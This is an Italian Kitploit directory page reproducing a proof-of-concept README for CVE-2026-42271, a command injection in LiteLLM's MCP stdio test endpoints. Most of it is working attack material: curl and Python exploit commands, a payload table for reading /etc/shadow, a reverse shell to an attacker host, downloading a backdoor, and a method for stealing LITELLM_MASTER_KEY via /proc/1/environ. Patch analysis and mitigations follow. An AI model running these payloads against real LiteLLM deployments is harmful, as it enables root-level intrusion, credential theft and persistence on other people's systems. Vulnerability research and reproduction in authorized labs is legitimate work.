Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42271-PoC — Il codice per riprodurre personalmente la vulnerabilità corrispondente | Kitploit
Strumenti/GitHubGitHub/learner202649/cve-2026-42271-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingLab e Pratica
GitHublearner202649/cve-2026-42271-poc

CVE-2026-42271-PoC

Il codice per riprodurre personalmente la vulnerabilità corrispondente

Vedi Repository
133 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42271 — Iniezione di comandi autenticata in LiteLLM tramite endpoint di test MCP stdio

LiteLLM POST /mcp-rest/test/connection e POST /mcp-rest/test/tools/list — Iniezione di comandi autenticata tramite trasporto MCP stdio. Qualsiasi chiave API valida può eseguire comandi OS arbitrari come root (nella distribuzione Docker predefinita).

Immagine bloccata tramite digest: il container vulnerabile è fissato a LiteLLM v1.82.6, garantendo riproducibilità a lungo termine.

CampoValore
CVECVE-2026-42271
CVSS v4.08.7 (ALTA) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CVSS v3.18.8 (ALTA) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-77 / CWE-78 (Iniezione di comandi OS)
Versione affettaLiteLLM >= 1.74.2, < 1.83.7
Versione correttav1.83.7+ (lista bianca comandi + controllo ruolo PROXY_ADMIN aggiunto)
Pubblicazione2026-05-08
Versione bloccatav1.82.6 — Immagine fissata tramite digest, garantisce riproducibilità a lungo termine
LinkGHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory

Descrizione

Due endpoint usati per visualizzare in anteprima un server MCP prima di salvarlo — POST /mcp-rest/test/connection e POST /mcp-rest/test/tools/list — accettano nel corpo della richiesta una configurazione completa del server MCP, inclusi i campi command, args ed env usati dal trasporto stdio.

Quando vengono chiamati con una configurazione stdio, gli endpoint lanciano il comando fornito come sottoprocesso sull'host proxy con i privilegi del processo proxy (root nel Docker predefinito).

Problema chiave: Gli endpoint verificano solo la presenza di una chiave API proxy valida, senza alcun controllo di ruolo — anche chiavi internal_user con privilegi ridotti possono sfruttarlo.


Prova di concetto

Avvio rapido (Docker)

root@kitploit:~
# 1. Avviare un'istanza vulnerabile di LiteLLM (bloccata a v1.82.6)
docker compose up -d

# 2. Eseguire l'exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Oppure usare curl direttamente (RCE cieco — la risposta può mostrare un errore ma il comando viene eseguito)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

Verifica dell'esecuzione

root@kitploit:~
# Controllare che il comando sia stato eseguito all'interno del container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

L'API restituisce "Failed to connect to MCP server" perché il processo generato non parla il protocollo MCP — ma il comando è già stato eseguito con privilegi di root.


Scenari di attacco

ScenarioPayload
RCE base"args": ["-c", "id > /tmp/pwned"]
Lettura file"args": ["-c", "cat /etc/shadow > /tmp/out"]
Esfiltrazione ambiente`"args": ["-c", "cat /proc/1/environ
Reverse shell"args": ["-c", "bash -i >& /dev/tcp/attaccante/4444 0>&1"]
Persistenza"args": ["-c", "curl http://attaccante/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]

Endpoint vulnerabili

POST /mcp-rest/test/connection

Testa una connessione al server MCP. Con trasporto stdio, lancia il comando fornito.

POST /mcp-rest/test/tools/list

Elenca gli strumenti da un server MCP di test. Stesso comportamento — lancia il comando fornito quando si usa il trasporto stdio.

Formato del corpo della richiesta

root@kitploit:~
{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<comando malevolo>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}
CampoTipoObbligatorioDescrizione
transportstringaSìDeve essere "stdio" per l'iniezione di comandi
commandstringaSìEseguibile da lanciare (es. bash, python, curl)
argsarraySìArgomenti passati al comando
envoggettoNoVariabili d'ambiente per il sottoprocesso

Analisi della patch (v1.83.7)

La correzione ha aggiunto due livelli di difesa:

  1. Lista bianca dei comandi tramite validate_transport_fields() — permette solo: npx, uvx, python, python3, node, docker, deno
  2. Controllo dell'accesso basato sui ruoli — entrambi gli endpoint ora richiedono il ruolo PROXY_ADMIN

Struttura del repository

root@kitploit:~
CVE-2026-42271/
├── README.md                  # Questo file
├── docker-compose.yml         # Ambiente vulnerabile con un comando (bloccato a v1.82.6)
├── requirements.txt           # Dipendenze
├── exploit/
│   ├── exploit.py             # Script exploit completo
│   └── payload.py             # Modulo di generazione payload
├── docs/
│   └── advisory.md            # Riferimento advisory
└── screenshots/               # Screenshot di prova

Mitigazione

  1. Aggiornare a LiteLLM v1.83.7+ (lista bianca comandi + controllo ruolo PROXY_ADMIN)
  2. Bloccare /mcp-rest/test/connection e /mcp-rest/test/tools/list al proxy inverso
  3. Limitare i privilegi delle chiavi API — ruotare le chiavi se si sospetta un compromesso
  4. Eseguire come non-root in Docker: docker run --user 1000:1000 ...

⚠️ Nota: Isolamento delle variabili d'ambiente di MCP SDK

Quando si replica la sezione 5.7 (estrazione delle variabili d'ambiente del processo), notare che: MCP Python SDK v1.25.0+ quando crea un sottoprocesso stdio, non eredita le variabili d'ambiente del processo padre di LiteLLM. L'SDK tramite get_default_environment() passa solo HOME e PATH, poi unisce le variabili specificate esplicitamente dall'utente nel campo env.

Pertanto env > /tmp/env_dump non catturerà LITELLM_MASTER_KEY.

Procedura corretta: leggere il file /proc/1/environ del processo principale di LiteLLM per estrarre le variabili d'ambiente:

root@kitploit:~
# Estrazione delle variabili d'ambiente (tramite /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# Visualizzare il risultato
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Output: LITELLM_MASTER_KEY=sk-litellm-master-key

Per maggiori dettagli, consultare la sezione 5.7 del rapporto di riproduzione.


Riferimenti

  • GitHub Security Advisory GHSA-v4p8-mg3p-g94g
  • GitLab Advisory
  • NVD Detail
  • Release v1.83.7-stable
  • Documentazione MCP di LiteLLM

Disclaimer: Questo contenuto è fornito a scopo educativo e per test di sicurezza autorizzati esclusivamente.

Scarica lo strumento